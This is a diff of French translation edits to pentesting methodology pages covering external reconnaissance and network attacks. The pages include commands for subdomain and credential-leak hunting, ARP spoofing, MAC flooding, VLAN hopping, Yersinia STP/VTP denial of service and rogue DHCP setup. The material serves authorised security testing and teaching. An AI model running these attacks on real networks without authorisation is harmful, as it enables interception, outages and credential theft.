|
||||
### **Prise de contrôle passive**
|
||||
|
||||
@ -179,9 +179,9 @@ Vous pourriez accéder au **certificat TLS** de la page web principale, obtenir
|
||||
|
||||
### **Recherche de vulnérabilités**
|
||||
|
||||
Vérifiez pour une [prise de contrôle de domaine](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Peut-être qu'une entreprise **utilise un domaine** mais a **perdu la propriété**. Enregistrez-le (si assez bon marché) et faites savoir à l'entreprise.
|
||||
Vérifiez pour une [prise de contrôle de domaine](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Peut-être qu'une entreprise **utilise un domaine** mais a **perdu la propriété**. Il suffit de l'enregistrer (si assez bon marché) et d'informer l'entreprise.
|
||||
|
||||
Si vous trouvez un **domaine avec une IP différente** de celles que vous avez déjà trouvées dans la découverte d'actifs, vous devriez effectuer un **scan de vulnérabilité de base** (en utilisant Nessus ou OpenVAS) et un [**scan de ports**](../pentesting-network/index.html#discovering-hosts-from-the-outside) avec **nmap/masscan/shodan**. Selon les services en cours d'exécution, vous pouvez trouver dans **ce livre quelques astuces pour les "attaquer"**.\
|
||||
Si vous trouvez un **domaine avec une IP différente** de celles que vous avez déjà trouvées dans la découverte d'actifs, vous devriez effectuer un **scan de vulnérabilités de base** (en utilisant Nessus ou OpenVAS) et un [**scan de ports**](../pentesting-network/index.html#discovering-hosts-from-the-outside) avec **nmap/masscan/shodan**. Selon les services en cours d'exécution, vous pouvez trouver dans **ce livre quelques astuces pour les "attaquer"**.\
|
||||
_Notez que parfois le domaine est hébergé à l'intérieur d'une IP qui n'est pas contrôlée par le client, donc ce n'est pas dans le périmètre, soyez prudent._
|
||||
|
||||
## Sous-domaines
|
||||
@ -282,7 +282,7 @@ curl -s "https://crt.sh/?q=%25.$1" \
|
||||
}
|
||||
crt tesla.com
|
||||
```
|
||||
- [**gau**](https://github.com/lc/gau)**:** récupère les URL connues d'Open Threat Exchange d'AlienVault, de la Wayback Machine et de Common Crawl pour un domaine donné.
|
||||
- [**gau**](https://github.com/lc/gau)**:** récupère les URL connues de l'Open Threat Exchange d'AlienVault, de la Wayback Machine et de Common Crawl pour un domaine donné.
|
||||
```bash
|
||||
# Get subdomains from GAUs found URLs
|
||||
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
|
||||
@ -401,7 +401,7 @@ echo www | subzuf facebook.com
|
||||
```
|
||||
### **Flux de Découverte de Sous-domaines**
|
||||
|
||||
Vérifiez cet article de blog que j'ai écrit sur comment **automatiser la découverte de sous-domaines** à partir d'un domaine en utilisant **les flux Trickest** afin de ne pas avoir à lancer manuellement une multitude d'outils sur mon ordinateur :
|
||||
Vérifiez cet article de blog que j'ai écrit sur la façon d'**automatiser la découverte de sous-domaines** à partir d'un domaine en utilisant **les flux Trickest** afin de ne pas avoir à lancer manuellement une multitude d'outils sur mon ordinateur :
|
||||
|
||||
{{#ref}}
|
||||
https://trickest.com/blog/full-subdomain-discovery-using-workflow/
|
||||
@ -447,7 +447,7 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
|
||||
### **Brute Force des Buckets**
|
||||
|
||||
En recherchant des **sous-domaines**, gardez un œil pour voir s'il **pointe** vers un type de **bucket**, et dans ce cas, [**vérifiez les permissions**](../../network-services-pentesting/pentesting-web/buckets/index.html)**.**\
|
||||
De plus, à ce stade, vous connaîtrez tous les domaines dans le périmètre, essayez de [**brute forcer les noms de buckets possibles et vérifiez les permissions**](../../network-services-pentesting/pentesting-web/buckets/index.html).
|
||||
De plus, à ce stade, vous connaîtrez tous les domaines dans le périmètre, essayez de [**brute forcer les noms de buckets possibles et de vérifier les permissions**](../../network-services-pentesting/pentesting-web/buckets/index.html).
|
||||
|
||||
### **Surveillance**
|
||||
|
||||
@ -474,7 +474,7 @@ Vous pouvez également vérifier les domaines pointant vers une adresse IP spéc
|
||||
|
||||
### **Recherche de vulnérabilités**
|
||||
|
||||
**Scannez tous les ports des IP qui n'appartiennent pas aux CDN** (car vous ne trouverez probablement rien d'intéressant là-dedans). Dans les services en cours d'exécution découverts, vous pourriez être **capable de trouver des vulnérabilités**.
|
||||
**Scannez tous les ports des IP qui n'appartiennent pas aux CDN** (car vous ne trouverez probablement rien d'intéressant là-bas). Dans les services en cours d'exécution découverts, vous pourriez être **capable de trouver des vulnérabilités**.
|
||||
|
||||
**Trouvez un** [**guide**](../pentesting-network/index.html) **sur la façon de scanner les hôtes.**
|
||||
|
||||
@ -482,9 +482,9 @@ Vous pouvez également vérifier les domaines pointant vers une adresse IP spéc
|
||||
|
||||
> Nous avons trouvé toutes les entreprises et leurs actifs et nous connaissons les plages d'IP, les domaines et les sous-domaines dans le périmètre. Il est temps de rechercher des serveurs web.
|
||||
|
||||
Dans les étapes précédentes, vous avez probablement déjà effectué une **reconnaissance des IP et des domaines découverts**, donc vous avez peut-être **déjà trouvé tous les serveurs web possibles**. Cependant, si ce n'est pas le cas, nous allons maintenant voir quelques **astuces rapides pour rechercher des serveurs web** dans le périmètre.
|
||||
Dans les étapes précédentes, vous avez probablement déjà effectué une **reconnaissance des IPs et des domaines découverts**, donc vous avez peut-être **déjà trouvé tous les serveurs web possibles**. Cependant, si ce n'est pas le cas, nous allons maintenant voir quelques **astuces rapides pour rechercher des serveurs web** dans le périmètre.
|
||||
|
||||
Veuillez noter que cela sera **orienté vers la découverte d'applications web**, donc vous devriez également **effectuer le scan de vulnérabilités** et **le scan de ports** (**si autorisé** par le périmètre).
|
||||
Veuillez noter que cela sera **orienté vers la découverte d'applications web**, donc vous devriez également **effectuer le scan de vulnérabilités** et **le scan de ports** aussi (**si autorisé** par le périmètre).
|
||||
|
||||
Une **méthode rapide** pour découvrir les **ports ouverts** liés aux **serveurs** web en utilisant [**masscan** peut être trouvée ici](../pentesting-network/index.html#http-port-discovery).\
|
||||
Un autre outil convivial pour rechercher des serveurs web est [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) et [**httpx**](https://github.com/projectdiscovery/httpx). Vous passez simplement une liste de domaines et il essaiera de se connecter au port 80 (http) et 443 (https). De plus, vous pouvez indiquer d'essayer d'autres ports :
|
||||
@ -502,7 +502,7 @@ De plus, vous pourriez ensuite utiliser [**eyeballer**](https://github.com/Bisho
|
||||
|
||||
## Actifs Cloud Publics
|
||||
|
||||
Pour trouver des actifs cloud potentiels appartenant à une entreprise, vous devez **commencer par une liste de mots-clés qui identifient cette entreprise**. Par exemple, pour une entreprise de crypto, vous pourriez utiliser des mots tels que : `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`.
|
||||
Pour trouver des actifs cloud potentiels appartenant à une entreprise, vous devriez **commencer par une liste de mots-clés qui identifient cette entreprise**. Par exemple, pour une entreprise de crypto, vous pourriez utiliser des mots tels que : `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`.
|
||||
|
||||
Vous aurez également besoin de listes de mots de **mots courants utilisés dans les buckets** :
|
||||
|
||||
@ -531,11 +531,11 @@ Avec les **domaines** et **sous-domaines** dans le périmètre, vous avez essent
|
||||
|
||||
### **Recherche de vulnérabilités**
|
||||
|
||||
Les emails seront utiles plus tard pour **brute-forcer les connexions web et les services d'authentification** (comme SSH). De plus, ils sont nécessaires pour les **phishings**. De plus, ces API vous donneront encore plus d'**informations sur la personne** derrière l'email, ce qui est utile pour la campagne de phishing.
|
||||
Les emails seront utiles plus tard pour **brute-forcer les connexions web et les services d'authentification** (comme SSH). De plus, ils sont nécessaires pour les **phishings**. De plus, ces API vous donneront encore plus **d'infos sur la personne** derrière l'email, ce qui est utile pour la campagne de phishing.
|
||||
|
||||
## Fuites de Credentials
|
||||
|
||||
Avec les **domaines**, **sous-domaines** et **emails**, vous pouvez commencer à rechercher des credentials fuités dans le passé appartenant à ces emails :
|
||||
Avec les **domaines,** **sous-domaines**, et **emails**, vous pouvez commencer à rechercher des credentials fuités dans le passé appartenant à ces emails :
|
||||
|
||||
- [https://leak-lookup.com](https://leak-lookup.com/account/login)
|
||||
- [https://www.dehashed.com/](https://www.dehashed.com/)
|
||||
@ -546,14 +546,14 @@ Si vous trouvez des credentials **fuités valides**, c'est une victoire très fa
|
||||
|
||||
## Fuites de Secrets
|
||||
|
||||
Les fuites de credentials sont liées aux hacks d'entreprises où des **informations sensibles ont été divulguées et vendues**. Cependant, les entreprises peuvent être affectées par **d'autres fuites** dont les informations ne figurent pas dans ces bases de données :
|
||||
Les fuites de credentials sont liées aux hacks d'entreprises où **des informations sensibles ont été divulguées et vendues**. Cependant, les entreprises peuvent être affectées par **d'autres fuites** dont les infos ne figurent pas dans ces bases de données :
|
||||
|
||||
### Fuites Github
|
||||
|
||||
Les credentials et les API peuvent être divulgués dans les **dépôts publics** de l'**entreprise** ou des **utilisateurs** travaillant pour cette entreprise github.\
|
||||
Vous pouvez utiliser l'**outil** [**Leakos**](https://github.com/carlospolop/Leakos) pour **télécharger** tous les **dépôts publics** d'une **organisation** et de ses **développeurs** et exécuter [**gitleaks**](https://github.com/zricethezav/gitleaks) automatiquement sur eux.
|
||||
|
||||
**Leakos** peut également être utilisé pour exécuter **gitleaks** contre tout le **texte** fourni **URLs passées** à celui-ci, car parfois **les pages web contiennent également des secrets**.
|
||||
**Leakos** peut également être utilisé pour exécuter **gitleaks** contre tout le **texte** fourni **URLs passées** à lui, car parfois **les pages web contiennent également des secrets**.
|
||||
|
||||
#### Dorks Github
|
||||
|
||||
@ -570,7 +570,7 @@ Vous pouvez utiliser l'outil [**Pastos**](https://github.com/carlospolop/Pastos)
|
||||
|
||||
### Dorks Google
|
||||
|
||||
Les vieux mais bons dorks google sont toujours utiles pour trouver des **informations exposées qui ne devraient pas être là**. Le seul problème est que la [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) contient plusieurs **milliers** de requêtes possibles que vous ne pouvez pas exécuter manuellement. Donc, vous pouvez prendre vos 10 préférées ou vous pourriez utiliser un **outil tel que** [**Gorks**](https://github.com/carlospolop/Gorks) **pour les exécuter toutes**.
|
||||
Les dorks google, vieux mais efficaces, sont toujours utiles pour trouver des **informations exposées qui ne devraient pas être là**. Le seul problème est que la [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) contient plusieurs **milliers** de requêtes possibles que vous ne pouvez pas exécuter manuellement. Donc, vous pouvez prendre vos 10 préférées ou vous pourriez utiliser un **outil tel que** [**Gorks**](https://github.com/carlospolop/Gorks) **pour les exécuter toutes**.
|
||||
|
||||
_Remarque : les outils qui s'attendent à exécuter toute la base de données en utilisant le navigateur Google régulier ne finiront jamais, car Google vous bloquera très rapidement._
|
||||
|
||||
@ -607,9 +607,9 @@ Donc, vous avez déjà :
|
||||
1. Trouvé toutes les **entreprises** dans le périmètre
|
||||
2. Trouvé tous les **actifs** appartenant aux entreprises (et effectué quelques scans de vulnérabilités si dans le périmètre)
|
||||
3. Trouvé tous les **domaines** appartenant aux entreprises
|
||||
4. Trouvé tous les **sous-domaines** des domaines (prise de contrôle de sous-domaine ?)
|
||||
4. Trouvé tous les **sous-domaines** des domaines (y a-t-il eu des prises de contrôle de sous-domaines ?)
|
||||
5. Trouvé toutes les **IPs** (provenant et **non provenant des CDN**) dans le périmètre.
|
||||
6. Trouvé tous les **serveurs web** et pris une **capture d'écran** d'eux (quelque chose de bizarre qui mérite un examen plus approfondi ?)
|
||||
6. Trouvé tous les **serveurs web** et pris une **capture d'écran** d'eux (y a-t-il quelque chose de bizarre qui mérite un examen plus approfondi ?)
|
||||
7. Trouvé tous les **actifs cloud publics potentiels** appartenant à l'entreprise.
|
||||
8. **Emails**, **fuites de credentials**, et **fuites de secrets** qui pourraient vous donner une **grande victoire très facilement**.
|
||||
9. **Pentesting tous les sites que vous avez trouvés**
|
||||
|
@ -11,8 +11,8 @@ Dans cette situation, vous avez un **champ d'IPs** (peut-être même plusieurs *
|
||||
|
||||
### ICMP
|
||||
|
||||
C'est la façon la plus **facile** et **rapide** de découvrir si un hôte est actif ou non.\
|
||||
Vous pourriez essayer d'envoyer quelques paquets **ICMP** et **attendre des réponses**. La façon la plus simple est d'envoyer une **demande d'écho** et d'attendre la réponse. Vous pouvez le faire en utilisant un simple `ping` ou en utilisant `fping` pour les **plages**.\
|
||||
C'est la façon la **plus facile** et **la plus rapide** de découvrir si un hôte est actif ou non.\
|
||||
Vous pourriez essayer d'envoyer quelques **paquets ICMP** et **attendre des réponses**. La façon la plus simple est d'envoyer une **demande d'écho** et d'attendre la réponse. Vous pouvez le faire en utilisant un simple `ping` ou en utilisant `fping` pour des **plages**.\
|
||||
Vous pourriez également utiliser **nmap** pour envoyer d'autres types de paquets ICMP (cela évitera les filtres des demandes-réponses d'écho ICMP courantes).
|
||||
```bash
|
||||
ping -c 1 199.66.11.4 # 1 echo request to a host
|
||||
@ -43,7 +43,7 @@ nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
|
||||
# The -sV will make nmap test each possible known UDP service packet
|
||||
# The "--version-intensity 0" will make nmap only test the most probable
|
||||
```
|
||||
La ligne nmap proposée précédemment testera les **1000 principaux ports UDP** dans chaque hôte à l'intérieur de la plage **/24**, mais même cela prendra **>20min**. Si vous avez besoin de **résultats plus rapides**, vous pouvez utiliser [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner) : `./udp-proto-scanner.pl 199.66.11.53/24`. Cela enverra ces **probes UDP** à leur **port attendu** (pour une plage /24, cela ne prendra qu'1 min) : _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._
|
||||
La ligne nmap proposée précédemment testera les **1000 principaux ports UDP** dans chaque hôte à l'intérieur de la **plage /24**, mais même cela prendra **>20min**. Si vous avez besoin de **résultats plus rapides**, vous pouvez utiliser [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner) : `./udp-proto-scanner.pl 199.66.11.53/24`. Cela enverra ces **probes UDP** à leur **port attendu** (pour une plage /24, cela ne prendra qu'1 min) : _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._
|
||||
|
||||
### Découverte de ports SCTP
|
||||
```bash
|
||||
@ -103,7 +103,7 @@ Mais, comme vous êtes sur le **même réseau** que les autres hôtes, vous pouv
|
||||
|
||||
- Si vous **pinguez** une **adresse de diffusion de sous-réseau**, le ping devrait arriver à **chaque hôte** et ils pourraient **répondre** à **vous** : `ping -b 10.10.5.255`
|
||||
- En pingant l'**adresse de diffusion du réseau**, vous pourriez même trouver des hôtes à l'intérieur de **d'autres sous-réseaux** : `ping -b 255.255.255.255`
|
||||
- Utilisez les drapeaux `-PE`, `-PP`, `-PM` de `nmap` pour effectuer la découverte d'hôtes en envoyant respectivement des **ICMPv4 echo**, **timestamp**, et **subnet mask requests** : `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24`
|
||||
- Utilisez les drapeaux `-PE`, `-PP`, `-PM` de `nmap` pour effectuer la découverte d'hôtes en envoyant respectivement des **ICMPv4 echo**, des **demandes de timestamp**, et des **demandes de masque de sous-réseau** : `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24`
|
||||
|
||||
### **Wake On Lan**
|
||||
|
||||
@ -157,7 +157,7 @@ nmap -sU -sV --version-intensity 0 -n -T4 <IP>
|
||||
```
|
||||
### Scan SCTP
|
||||
|
||||
**SCTP (Stream Control Transmission Protocol)** est conçu pour être utilisé avec **TCP (Transmission Control Protocol)** et **UDP (User Datagram Protocol)**. Son principal objectif est de faciliter le transport des données de téléphonie sur les réseaux IP, reflétant de nombreuses fonctionnalités de fiabilité que l'on trouve dans **Signaling System 7 (SS7)**. **SCTP** est un composant central de la famille de protocoles **SIGTRAN**, qui vise à transporter les signaux SS7 sur les réseaux IP.
|
||||
**SCTP (Stream Control Transmission Protocol)** est conçu pour être utilisé en conjonction avec **TCP (Transmission Control Protocol)** et **UDP (User Datagram Protocol)**. Son principal objectif est de faciliter le transport des données de téléphonie sur les réseaux IP, reflétant de nombreuses fonctionnalités de fiabilité que l'on trouve dans **Signaling System 7 (SS7)**. **SCTP** est un composant central de la famille de protocoles **SIGTRAN**, qui vise à transporter les signaux SS7 sur les réseaux IP.
|
||||
|
||||
Le support pour **SCTP** est fourni par divers systèmes d'exploitation, tels que **IBM AIX**, **Oracle Solaris**, **HP-UX**, **Linux**, **Cisco IOS**, et **VxWorks**, indiquant son large acceptation et son utilité dans le domaine des télécommunications et des réseaux.
|
||||
|
||||
@ -184,7 +184,7 @@ nmap-summary-esp.md
|
||||
|
||||
### Révélation des adresses IP internes
|
||||
|
||||
**Des routeurs, des pare-feu et des dispositifs réseau mal configurés** répondent parfois aux sondes réseau en utilisant **des adresses source non publiques**. **tcpdump** peut être utilisé pour identifier les paquets reçus d'adresses privées pendant les tests. Plus précisément, sur Kali Linux, les paquets peuvent être capturés sur l'**interface eth2**, qui est accessible depuis Internet public. Il est important de noter que si votre configuration est derrière un NAT ou un pare-feu, de tels paquets seront probablement filtrés.
|
||||
**Des routeurs, pare-feu et dispositifs réseau mal configurés** répondent parfois aux sondes réseau en utilisant **des adresses source non publiques**. **tcpdump** peut être utilisé pour identifier les paquets reçus d'adresses privées pendant les tests. Plus précisément, sur Kali Linux, les paquets peuvent être capturés sur l'**interface eth2**, qui est accessible depuis Internet public. Il est important de noter que si votre configuration est derrière un NAT ou un pare-feu, de tels paquets seront probablement filtrés.
|
||||
```bash
|
||||
tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16
|
||||
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
|
||||
@ -196,7 +196,7 @@ IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64
|
||||
|
||||
Avec le sniffing, vous pouvez apprendre des détails sur les plages IP, les tailles de sous-réseau, les adresses MAC et les noms d'hôtes en examinant les trames et paquets capturés. Si le réseau est mal configuré ou si le tissu de commutation est sous pression, les attaquants peuvent capturer des informations sensibles via le sniffing réseau passif.
|
||||
|
||||
Si un réseau Ethernet commuté est configuré correctement, vous ne verrez que des trames de diffusion et des informations destinées à votre adresse MAC.
|
||||
Si un réseau Ethernet commuté est configuré correctement, vous ne verrez que des trames de diffusion et des matériaux destinés à votre adresse MAC.
|
||||
|
||||
### TCPDump
|
||||
```bash
|
||||
@ -248,7 +248,7 @@ arpspoof -t 192.168.1.2 192.168.1.1
|
||||
```
|
||||
### MAC Flooding - Débordement CAM
|
||||
|
||||
Débordez la table CAM du commutateur en envoyant beaucoup de paquets avec différentes adresses MAC source. Lorsque la table CAM est pleine, le commutateur commence à se comporter comme un hub (diffusant tout le trafic).
|
||||
Débordez la table CAM du commutateur en envoyant beaucoup de paquets avec différentes adresses mac source. Lorsque la table CAM est pleine, le commutateur commence à se comporter comme un hub (diffusant tout le trafic).
|
||||
```bash
|
||||
macof -i <interface>
|
||||
```
|
||||
@ -260,7 +260,7 @@ Dans les commutateurs modernes, cette vulnérabilité a été corrigée.
|
||||
|
||||
Le **Dynamic Trunking Protocol (DTP)** est conçu comme un protocole de couche liaison pour faciliter un système automatique de trunking, permettant aux commutateurs de sélectionner automatiquement les ports pour le mode trunk (Trunk) ou le mode non-trunk. Le déploiement de **DTP** est souvent considéré comme indicatif d'une conception réseau sous-optimale, soulignant l'importance de configurer manuellement les trunks uniquement lorsque cela est nécessaire et d'assurer une documentation appropriée.
|
||||
|
||||
Par défaut, les ports de commutateur sont configurés pour fonctionner en mode Auto Dynamique, ce qui signifie qu'ils sont prêts à initier le trunking si un commutateur voisin le demande. Un problème de sécurité survient lorsqu'un pentester ou un attaquant se connecte au commutateur et envoie une trame DTP Désirable, obligeant le port à entrer en mode trunk. Cette action permet à l'attaquant d'énumérer les VLANs par l'analyse des trames STP et de contourner la segmentation VLAN en configurant des interfaces virtuelles.
|
||||
Par défaut, les ports des commutateurs sont configurés pour fonctionner en mode Auto Dynamique, ce qui signifie qu'ils sont prêts à initier le trunking si un commutateur voisin le demande. Un problème de sécurité survient lorsqu'un pentester ou un attaquant se connecte au commutateur et envoie une trame DTP Désirable, obligeant le port à entrer en mode trunk. Cette action permet à l'attaquant d'énumérer les VLANs par l'analyse des trames STP et de contourner la segmentation VLAN en configurant des interfaces virtuelles.
|
||||
|
||||
La présence de DTP dans de nombreux commutateurs par défaut peut être exploitée par des adversaires pour imiter le comportement d'un commutateur, accédant ainsi au trafic à travers tous les VLANs. Le script [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) est utilisé pour surveiller une interface, révélant si un commutateur est en mode Default, Trunk, Dynamique, Auto ou Access—ce dernier étant la seule configuration immunisée contre les attaques de VLAN hopping. Cet outil évalue l'état de vulnérabilité du commutateur.
|
||||
|
||||
@ -329,7 +329,7 @@ L'attaque discutée de **Dynamic Trunking et de la création d'interfaces virtue
|
||||
|
||||
#### Double Tagging
|
||||
|
||||
Si un attaquant connaît la valeur du **MAC, IP et VLAN ID de l'hôte victime**, il pourrait essayer de **double taguer un cadre** avec son VLAN désigné et le VLAN de la victime et d'envoyer un paquet. Comme la **victime ne pourra pas se connecter de nouveau** avec l'attaquant, la **meilleure option pour l'attaquant est de communiquer via UDP** à des protocoles qui peuvent effectuer des actions intéressantes (comme SNMP).
|
||||
Si un attaquant connaît la valeur du **MAC, IP et VLAN ID de l'hôte victime**, il pourrait essayer de **double taguer un cadre** avec son VLAN désigné et le VLAN de la victime et envoyer un paquet. Comme la **victime ne pourra pas se connecter** avec l'attaquant, la **meilleure option pour l'attaquant est de communiquer via UDP** à des protocoles qui peuvent effectuer des actions intéressantes (comme SNMP).
|
||||
|
||||
Une autre option pour l'attaquant est de lancer un **scan de port TCP en usurpant une IP contrôlée par l'attaquant et accessible par la victime** (probablement via Internet). Ensuite, l'attaquant pourrait écouter sur le deuxième hôte qui lui appartient s'il reçoit des paquets de la victime.
|
||||
|
||||
@ -352,18 +352,18 @@ lateral-vlan-segmentation-bypass.md
|
||||
|
||||
#### Contournement de VLAN privé de couche 3
|
||||
|
||||
Dans certains environnements, tels que les réseaux sans fil pour invités, des paramètres **d'isolation de port (également connus sous le nom de VLAN privé)** sont mis en œuvre pour empêcher les clients connectés à un point d'accès sans fil de communiquer directement entre eux. Cependant, une technique a été identifiée qui peut contourner ces mesures d'isolation. Cette technique exploite soit l'absence de ACL réseau, soit leur configuration incorrecte, permettant aux paquets IP d'être routés à travers un routeur pour atteindre un autre client sur le même réseau.
|
||||
Dans certains environnements, tels que les réseaux sans fil pour invités, des paramètres **d'isolation de port (également connus sous le nom de VLAN privé)** sont mis en œuvre pour empêcher les clients connectés à un point d'accès sans fil de communiquer directement entre eux. Cependant, une technique a été identifiée qui peut contourner ces mesures d'isolation. Cette technique exploite soit l'absence de ACL réseau, soit leur configuration incorrecte, permettant aux paquets IP d'être routés via un routeur pour atteindre un autre client sur le même réseau.
|
||||
|
||||
L'attaque est exécutée en créant un **paquet qui porte l'adresse IP du client de destination mais avec l'adresse MAC du routeur**. Cela amène le routeur à transmettre par erreur le paquet au client cible. Cette approche est similaire à celle utilisée dans les attaques de Double Tagging, où la capacité de contrôler un hôte accessible à la victime est utilisée pour exploiter la faille de sécurité.
|
||||
|
||||
**Étapes clés de l'attaque :**
|
||||
|
||||
1. **Création d'un paquet :** Un paquet est spécialement conçu pour inclure l'adresse IP du client cible mais avec l'adresse MAC du routeur.
|
||||
2. **Exploitation du comportement du routeur :** Le paquet conçu est envoyé au routeur, qui, en raison de la configuration, redirige le paquet vers le client cible, contournant l'isolation fournie par les paramètres de VLAN privé.
|
||||
2. **Exploitation du comportement du routeur :** Le paquet créé est envoyé au routeur, qui, en raison de la configuration, redirige le paquet vers le client cible, contournant l'isolation fournie par les paramètres de VLAN privé.
|
||||
|
||||
### Attaques VTP
|
||||
|
||||
VTP (VLAN Trunking Protocol) centralise la gestion des VLAN. Il utilise des numéros de révision pour maintenir l'intégrité de la base de données VLAN ; toute modification incrémente ce numéro. Les switches adoptent des configurations avec des numéros de révision plus élevés, mettant à jour leurs propres bases de données VLAN.
|
||||
Le VTP (VLAN Trunking Protocol) centralise la gestion des VLAN. Il utilise des numéros de révision pour maintenir l'intégrité de la base de données VLAN ; toute modification incrémente ce numéro. Les switches adoptent des configurations avec des numéros de révision plus élevés, mettant à jour leurs propres bases de données VLAN.
|
||||
|
||||
#### Rôles du domaine VTP
|
||||
|
||||
@ -377,17 +377,17 @@ VTP (VLAN Trunking Protocol) centralise la gestion des VLAN. Il utilise des num
|
||||
- **Annonce de sous-ensemble :** Envoyée suite à des modifications de configuration VLAN.
|
||||
- **Demande d'annonce :** Émise par un client VTP pour demander une annonce de résumé, généralement en réponse à la détection d'un numéro de révision de configuration plus élevé.
|
||||
|
||||
Les vulnérabilités VTP sont exploitables exclusivement via des ports trunk, car les annonces VTP circulent uniquement par eux. Les scénarios post-attaque DTP peuvent pivoter vers VTP. Des outils comme Yersinia peuvent faciliter les attaques VTP, visant à effacer la base de données VLAN, perturbant ainsi le réseau.
|
||||
Les vulnérabilités VTP sont exploitables exclusivement via des ports trunk, car les annonces VTP circulent uniquement par ceux-ci. Les scénarios post-attaque DTP pourraient pivoter vers VTP. Des outils comme Yersinia peuvent faciliter les attaques VTP, visant à effacer la base de données VLAN, perturbant ainsi le réseau.
|
||||
|
||||
Remarque : Cette discussion concerne la version 1 de VTP (VTPv1).
|
||||
````bash
|
||||
%% yersinia -G # Launch Yersinia in graphical mode ```
|
||||
````
|
||||
Dans le mode graphique de Yersinia, choisissez l'option de suppression de tous les VLAN VTP pour purger la base de données VLAN.
|
||||
Dans le mode graphique de Yersinia, choisissez l'option de suppression de tous les vlans VTP pour purger la base de données VLAN.
|
||||
|
||||
### Attaques STP
|
||||
|
||||
**Si vous ne pouvez pas capturer les trames BPDU sur vos interfaces, il est peu probable que vous réussissiez dans une attaque STP.**
|
||||
**Si vous ne pouvez pas capturer les trames BPDU sur vos interfaces, il est peu probable que vous réussissiez une attaque STP.**
|
||||
|
||||
#### **DoS BPDU STP**
|
||||
|
||||
@ -406,8 +406,8 @@ yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen
|
||||
```
|
||||
#### **Attaque STP Root**
|
||||
|
||||
L'attaquant simule le comportement d'un commutateur pour devenir le root STP du réseau. Ensuite, plus de données passeront par lui. Cela est intéressant lorsque vous êtes connecté à deux commutateurs différents.\
|
||||
Cela se fait en envoyant des paquets BPDUs CONF disant que la valeur de **priorité** est inférieure à la priorité réelle du commutateur root actuel.
|
||||
L'attaquant simule le comportement d'un commutateur pour devenir la racine STP du réseau. Ensuite, plus de données passeront par lui. Cela est intéressant lorsque vous êtes connecté à deux commutateurs différents.\
|
||||
Cela se fait en envoyant des paquets BPDUs CONF disant que la valeur de **priorité** est inférieure à la priorité réelle du commutateur racine actuel.
|
||||
```bash
|
||||
yersinia stp -attack 4 #Behaves like the root switch
|
||||
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root
|
||||
@ -448,7 +448,7 @@ Les téléphones VoIP, de plus en plus intégrés aux appareils IoT, offrent des
|
||||
|
||||
L'outil [**voiphopper**](http://voiphopper.sourceforge.net) est conçu pour émuler un téléphone VoIP dans divers environnements (Cisco, Avaya, Nortel, Alcatel-Lucent). Il découvre l'ID VLAN du réseau vocal en utilisant des protocoles comme CDP, DHCP, LLDP-MED et 802.1Q ARP.
|
||||
|
||||
**VoIP Hopper** propose trois modes pour le protocole de découverte Cisco (CDP) :
|
||||
**VoIP Hopper** propose trois modes pour le Cisco Discovery Protocol (CDP) :
|
||||
|
||||
1. **Mode Sniff** (`-c 0`) : Analyse les paquets réseau pour identifier l'ID VLAN.
|
||||
2. **Mode Spoof** (`-c 1`) : Génère des paquets personnalisés imitant ceux d'un véritable appareil VoIP.
|
||||
@ -459,7 +459,7 @@ Le mode préféré pour la vitesse est le troisième. Il nécessite de spécifie
|
||||
- L'interface réseau de l'attaquant (`-i` paramètre).
|
||||
- Le nom de l'appareil VoIP étant émulé (`-E` paramètre), en respectant le format de nommage Cisco (par exemple, SEP suivi d'une adresse MAC).
|
||||
|
||||
Dans les environnements d'entreprise, pour imiter un appareil VoIP existant, on pourrait :
|
||||
Dans les environnements d'entreprise, pour imiter un appareil VoIP existant, on peut :
|
||||
|
||||
- Inspecter l'étiquette MAC sur le téléphone.
|
||||
- Naviguer dans les paramètres d'affichage du téléphone pour voir les informations sur le modèle.
|
||||
@ -505,7 +505,7 @@ Vous pourriez utiliser les attaques DoS mentionnées pour forcer les clients à
|
||||
|
||||
#### Définir des valeurs malveillantes
|
||||
|
||||
Un serveur DHCP malveillant peut être configuré en utilisant le script DHCP situé à `/usr/share/responder/DHCP.py`. Cela est utile pour les attaques réseau, comme la capture du trafic HTTP et des identifiants, en redirigeant le trafic vers un serveur malveillant. Cependant, configurer une passerelle malveillante est moins efficace car cela ne permet de capturer que le trafic sortant du client, manquant les réponses de la véritable passerelle. Au lieu de cela, il est recommandé de configurer un serveur DNS ou WPAD malveillant pour une attaque plus efficace.
|
||||
Un serveur DHCP malveillant peut être configuré en utilisant le script DHCP situé à `/usr/share/responder/DHCP.py`. Cela est utile pour les attaques réseau, comme la capture de trafic HTTP et de credentials, en redirigeant le trafic vers un serveur malveillant. Cependant, configurer une passerelle malveillante est moins efficace car cela ne permet de capturer que le trafic sortant du client, manquant les réponses de la véritable passerelle. Au lieu de cela, il est recommandé de configurer un serveur DNS ou WPAD malveillant pour une attaque plus efficace.
|
||||
|
||||
